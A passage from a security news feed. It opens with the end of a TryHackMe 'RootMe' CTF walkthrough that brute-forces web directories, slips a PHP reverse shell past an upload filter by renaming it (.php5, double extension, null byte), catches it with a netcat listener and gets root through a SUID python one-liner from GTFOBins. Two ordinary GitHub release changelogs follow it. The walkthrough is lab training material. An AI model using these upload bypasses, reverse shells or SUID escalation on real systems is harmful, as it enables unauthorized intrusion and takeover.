http://10.48.145.206/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</pre><p><strong>Breaking down the command:</strong></p><ul><li>dir → Tells Gobuster to run in <strong>directory brute-force</strong> mode.</li><li>-u → The target URL.</li><li>-w → Path to the wordlist — a big list of common folder/file names that Gobuster will try one by one.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_aK37B03HRMBX-FQcBdkdw.png"></figure><p><strong>Directories found:</strong></p><ul><li>/uploads</li><li>/css</li><li>/js</li><li>/panel</li><li>/server-status (403 forbidden — no access)</li></ul><blockquote><strong><em>Q: Find directories on the web server using the GoBuster tool.</em></strong><em> → Use the Gobuster command shown above</em></blockquote><blockquote><strong><em>Q: What is the hidden directory?</em></strong><em> → </em><strong><em>/panel</em></strong></blockquote><h3>Task 3 — Getting a Shell</h3><h3>Exploring the Website</h3><p>Time to open these directories in the browser. /css and /js were nothing special (just static assets), but <strong>/panel</strong> had a file upload form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m_YawIVewQxbxhpAA-2fmA.png"></figure><p>So the site allows file uploads, and uploaded files land in the /uploads folder.</p><h3>Testing the Upload</h3><p>Before jumping straight to an exploit, I first uploaded a harmless test file (a .png image) just to confirm the upload feature actually worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2CU6tpxYSKOjWYBwa8LxNA.png"></figure><p>Upload was successful, and I double-checked by visiting /uploads/ — the file was sitting right there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*-AafYvyxJi5dwnzB0WlZkA.png"></figure><p>Now that we know files can be uploaded, the obvious next move is trying to upload something that gives us code execution — since we already know the backend runs PHP.</p><h3>Preparing a PHP Reverse Shell</h3><p>I grabbed a well-known <strong>PHP reverse shell</strong> script (the classic pentestmonkey one — very commonly used in CTFs).</p><p>Only two things need to change in it:</p><ol><li>$ip → Your own attacking machine's IP (where the reverse shell will connect back to (THM IP — TUN0))</li><li>$port → The port you'll be listening on</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*06NOHrfygJNcrzLzrcwdQw.png"></figure><p>To get your IP:</p><pre>ifconfig</pre><p>If you’re connected through the TryHackMe VPN, make sure you grab the IP from the tun0 interface — not eth0 — since the VPN tunnel is what actually routes traffic to the target machine.</p><h3>First Attempt — Permission Denied</h3><p>I uploaded the shell with a plain .php extension first, and the server immediately rejected it:</p><blockquote><em>“PHP não é permitido!” (PHP is not allowed!)</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L34EAS-_SuxL1N4CX2WhTg.png"></figure><p>So there’s clearly a server-side filter blocking .php files specifically.</p><h3>Bypassing the Filter</h3><p>A quick search turned up a few common bypass tricks for exactly this situation:</p><ul><li>Change the extension: .php5, .phtml, .pht, .phps</li><li>Double extension trick: image.php.jpg</li><li>Null byte trick: file.php%00.jpg (works on older/outdated servers)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fvNG5JOFliQSc6PWsSKagA.png"></figure><p>I renamed the file to .php5:</p><pre>mv php-reverse-shell.php php-reverse-shell.php5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*XywW0k9yvkNyihudc7jCtw.png"></figure><h3>Upload Successful!</h3><p>This time it went through cleanly — no error, and the message changed to “O arquivo foi upado com sucesso!” (File uploaded successfully!)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V48ZqsRJzTDOR6YIGm69og.png"></figure><p>Checked /uploads/ again and there it was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*rO_qHytwKeG7S1h4h2w64A.png"></figure><h3>Setting Up the Listener</h3><p>Before actually triggering the shell, you need a <strong>netcat listener</strong> running on your machine so it can catch the incoming connection the moment the file executes.</p><pre>netcat -knlvp 4444</pre><p><strong>Breaking down the command:</strong></p><ul><li>-k → Keeps the listener alive even after a connection closes (so it can accept another one if needed).</li><li>-n → Skips DNS resolution — since we're expecting a numeric IP, not a hostname, and this also speeds things up.</li><li>-l → Puts netcat into <strong>listen</strong> mode — it just waits for an incoming connection.</li><li>-v → <strong>Verbose</strong> mode, so you see everything happening in detail.</li><li>-p 4444 → The port to listen on (must match the port set inside the PHP shell script).</li></ul><h3>Triggering the Reverse Shell</h3><p>Now open the uploaded file’s URL in the browser: <a href="http://10.48.145.206/uploads/php-reverse-shell.php5">http://10.48.145.206/uploads/php-reverse-shell.php5</a></p><p>The first time I opened it, there was a minor error (something about failing to daemonise) — totally normal, nothing to worry about.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sYQBHGFkwnm4ss_f_3hHJw.png"><figcaption>This is the error when I not started a listner in my terminal</figcaption></figure><p>Tried again, switched back to the terminal running the listener, and <strong>there it was — a shell!</strong> 🎉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EI5qdy7RJq1mHqIioKLzMQ.png"></figure><p>Ran whoami and got <strong>www-data</strong> — the low-privilege user that Apache runs as.</p><h3>Finding user.txt</h3><p>Time to grab the user.txt flag:</p><pre>find / -type f -name "user.txt" 2&gt;/dev/null</pre><p><strong>Breaking down the command:</strong></p><ul><li>find / → Search the entire filesystem, starting from root.</li><li>-type f → Only look for <strong>files</strong> (not directories).</li><li>-name "user.txt" → Match files named exactly user.txt.</li><li>2&gt;/dev/null → Silences all error messages (like "Permission denied") so the output stays clean. Here 2 refers to the stderr (error) stream, and /dev/null is basically a black hole — anything sent there just disappears.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*yeNJX8yMBNvtN_aZf9bgOQ.png"></figure><p>Found it in /var/www/user.txt.<em>✅ </em><strong><em>user.txt captured! 🎉</em></strong></p><h3>Task 4 — Privilege Escalation (Getting to Root)</h3><p>We’re currently www-data, which has limited privileges. To get root, we need to find some privilege escalation path.</p><h3>Hunting for SUID Binaries</h3><p>A <strong>SUID (Set User ID)</strong> bit is a special permission that, when set on an executable, makes it run with the <strong>file owner’s</strong> privileges — no matter who actually runs it. If a SUID binary is owned by root and has some kind of weakness, that’s a golden ticket to becoming root.</p><p>Find all SUID binaries with:</p><pre>find / -perm -4000 2&gt;/dev/null</pre><p><strong>Breaking down the command:</strong></p><ul><li>-perm -4000 → 4000 is the octal value representing the SUID bit, so this finds every file with that bit set.</li><li>2&gt;/dev/null → Same as before, hides error clutter and drop the all error in recyclebin .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*89siD0RyWpZxU9mrTJ_vHA.png"></figure><p>Most of the list was standard system stuff, but one entry immediately looked <strong>out of place</strong> — /usr/bin/python2.7 had the SUID bit set! Having SUID set on a programming language interpreter like Python is very unusual and almost always a misconfiguration worth exploiting.</p><blockquote><em>✅ </em><strong><em>Q: Search for files with SUID permission, which file is weird?</em></strong><em> → </em><strong><em>python (python2.7)</em></strong></blockquote><h3>Finding the Exploit on GTFOBins</h3><p>Next step — figure out how to actually abuse this. <strong>GTFOBins</strong> (gtfobins.org) is the go-to resource for this — it’s basically a cheat sheet listing exploitation techniques for common Unix binaries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vf3NqdKEsuCCChS3VTz2mg.png"></figure><p>Searched “python” on GTFOBins, clicked the <strong>SUID</strong> tab, and found this:</p><pre>python -c 'import os; os.execl("/bin/sh", "sh", "-p")'</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SogZeEzlI2rcwEsUONtfbw.png"></figure><p><strong>Breaking down the command:</strong></p><ul><li>import os → Loads Python's os module, which lets us interact with operating system-level operations.</li><li>os.execl("/bin/sh", "sh", "-p") → Replaces the current process with /bin/sh (a shell).</li><li>-p → <strong>Privileged mode</strong> — tells the shell to preserve the current <strong>effective user/group ID</strong>. Since the Python binary is SUID and owned by root, this means the shell it spawns keeps that root-level effective ID too — giving us a <strong>root shell</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*eGNyFFZPFbZMGyPEb2rLcA.png"></figure><blockquote><em>⚠️ </em><strong><em>A little slip-up worth mentioning:</em></strong><em> I initially typed </em><em>os.excel() by mistake (typo — should be </em><em>execl, not </em><em>excel), which threw an </em><em>AttributeError. Happens to the best of us — just double-check the method name if you hit this error!</em></blockquote><p>Running the correct command:</p><p>whoami now showed <strong>root</strong>! 🎉</p><blockquote><em>✅ </em><strong><em>Q: Find a form to escalate your privileges.</em></strong><em> → GTFOBins’ Python SUID exploit</em></blockquote><blockquote>Finding root.txt</blockquote><p>Grab the final flag:</p><pre>find / -type f -name "root.txt" 2&gt;/dev/null<br>cat /root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*TCwAHPJqoXSMnEuV6EgvgA.png"></figure><p>Found in /root/root.txt. 🚩</p><blockquote><em>✅ </em><strong><em>root.txt captured! 🎉</em></strong></blockquote><h3>Conclusion</h3><p>Quick recap of everything we covered in this room:</p><ol><li>Using <strong>Nmap</strong> for basic recon on a target.</li><li>Using <strong>Gobuster</strong> to discover hidden web directories.</li><li>Identifying a file upload vulnerability and <strong>bypassing the extension filter</strong>.</li><li>Deploying a <strong>PHP reverse shell</strong> to get an initial foothold.</li><li>Spotting a <strong>SUID misconfiguration</strong> and using <strong>GTFOBins</strong> to escalate to root.</li></ol><p>RootMe is a great example of how small, individually harmless-looking misconfigurations (a weak upload filter here, a misplaced SUID bit there) can chain together into a full system compromise. This is exactly why every little detail matters during an assessment — even the ones you almost overlook.</p><p>Hope this walkthrough was clear and easy to follow! If you have any questions or feedback, feel free to connect with me on LinkedIn:</p><p>🔗 <a href="https://www.linkedin.com/in/krish-gupta-bb73a72a0/"><strong>Krish Gupta — LinkedIn</strong></a></p><p>Happy Hacking! 🔐</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=f5b8bf96f1ba" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/author-krish-gupta-f5b8bf96f1ba">TryHackMe(RootMe)- Write-Up</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: v0.389.0]]></title>
<description><![CDATA[What's Changed

Rescue errors in metadata_cascades_for_dep to prevent PR message loss by @yeikel in #14905
Bump sigstore from 4.1.0 to 4.1.1 in /npm_and_yarn/helpers by @dependabot[bot] in #15484
Bump handlebars from 4.7.8 to 4.7.9 in /npm_and_yarn/helpers by @dependabot[bot] in #14547
Bump lodas...]]></description>
<link>https://tsecurity.de/de/3698024/it-security-tools/github-v03890/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698024/it-security-tools/github-v03890/</guid>
<pubDate>Mon, 03 Aug 2026 00:09:03 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>What's Changed</h2>
<ul>
<li>Rescue errors in metadata_cascades_for_dep to prevent PR message loss by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yeikel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yeikel">@yeikel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378282334" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14905" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14905/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14905">#14905</a></li>
<li>Bump sigstore from 4.1.0 to 4.1.1 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795011134" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15484" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15484/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15484">#15484</a></li>
<li>Bump handlebars from 4.7.8 to 4.7.9 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4147857584" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14547" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14547/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14547">#14547</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4191474580" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14605" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14605/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14605">#14605</a></li>
<li>fix: use canonical LOCKFILE_ENTRY_REGEX in replace-lockfile-declaration.ts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939235858" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15642" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15642/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15642">#15642</a></li>
<li>Prevent update job crash when a pinned GitHub Actions SHA is missing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4930686610" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15628" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15628/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15628">#15628</a></li>
<li>feat(npm_and_yarn): enhance downgrade conflict messages with detailed blocking dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4957559652" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15656" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15656/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15656">#15656</a></li>
<li>Cargo: handle crates locked at multiple versions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/p-linnane/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/p-linnane">@p-linnane</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935440107" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15638" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15638/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15638">#15638</a></li>
<li>Revert "Cargo: handle crates locked at multiple versions" by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962384456" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15667" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15667/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15667">#15667</a></li>
<li>Paginate Docker tag listing and classify registry error responses by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951227521" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15651" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15651/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15651">#15651</a></li>
<li>fix: Import proxy CA certificate into Java truststore for Java package managers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968333605" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15670" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15670/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15670">#15670</a></li>
<li>Bump gradle from <code>4a253a2</code> to <code>2a6880c</code> in /gradle by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4923387834" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15620" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15620/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15620">#15620</a></li>
<li>Fix security update jobs failing with dependency_file_not_found for single-directory manifests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4958065738" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15658" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15658/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15658">#15658</a></li>
<li>Make Dependency strongly typed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943567832" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15647" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15647/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15647">#15647</a></li>
<li>v0.389.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4983662327" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15691" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15691/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15691">#15691</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/p-linnane/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/p-linnane">@p-linnane</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935440107" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15638" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15638/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15638">#15638</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.388.0...v0.389.0">v0.388.0...v0.389.0</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: 3.2.0-20260729]]></title>
<description><![CDATA[Download the ISO
https://github.com/Security-Onion-Solutions/securityonion/blob/d3c6fdce7e04cd981f1d3014af2ca35d0f8407f5/DOWNLOAD_AND_VERIFY_ISO.md
What's Changed

Bump version from 3.1.0 to 3.2.0 by @TOoSmOotH in #15918
Add 3.2.0 option to discussion template by @TOoSmOotH in #15919
main to dev ...]]></description>
<link>https://tsecurity.de/de/3698023/it-security-tools/github-320-20260729/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698023/it-security-tools/github-320-20260729/</guid>
<pubDate>Mon, 03 Aug 2026 00:09:01 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>Download the ISO</h2>
<p><a href="https://github.com/Security-Onion-Solutions/securityonion/blob/d3c6fdce7e04cd981f1d3014af2ca35d0f8407f5/DOWNLOAD_AND_VERIFY_ISO.md">https://github.com/Security-Onion-Solutions/securityonion/blob/d3c6fdce7e04cd981f1d3014af2ca35d0f8407f5/DOWNLOAD_AND_VERIFY_ISO.md</a></p>
<h2>What's Changed</h2>
<ul>
<li>Bump version from 3.1.0 to 3.2.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497456919" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15918" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15918/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15918">#15918</a></li>
<li>Add 3.2.0 option to discussion template by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497517587" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15919" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15919/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15919">#15919</a></li>
<li>main to dev for hotfix by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541161843" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15939" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15939/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15939">#15939</a></li>
<li>Remove outdated HOTFIX version number by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541178762" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15940" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15940/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15940">#15940</a></li>
<li>Jertel/wip by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542620035" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15944" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15944/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15944">#15944</a></li>
<li>refactored soc config by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550356950" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15947" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15947/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15947">#15947</a></li>
<li>fix version by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554343695" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15949" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15949/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15949">#15949</a></li>
<li>check if there is a version or hotfix to upgrade to before verifiying elasticsearch compatibility by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4564708932" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15951" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15951/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15951">#15951</a></li>
<li>use so-config-backup script in soup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4564849469" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15952" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15952/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15952">#15952</a></li>
<li>run elastic agent regen installer script in post_to_3.2.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4574720847" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15954" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15954/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15954">#15954</a></li>
<li>config updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583589349" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15955" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15955/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15955">#15955</a></li>
<li>higstate on host start, not salt-minion start by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591816309" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15956" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15956/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15956">#15956</a></li>
<li>fix elasticsearch template generation issue by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613900398" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15958" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15958/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15958">#15958</a></li>
<li>respect elasticfleet enable_auto_configuration setting for so-elastic… by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4616257433" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15961" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15961/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15961">#15961</a></li>
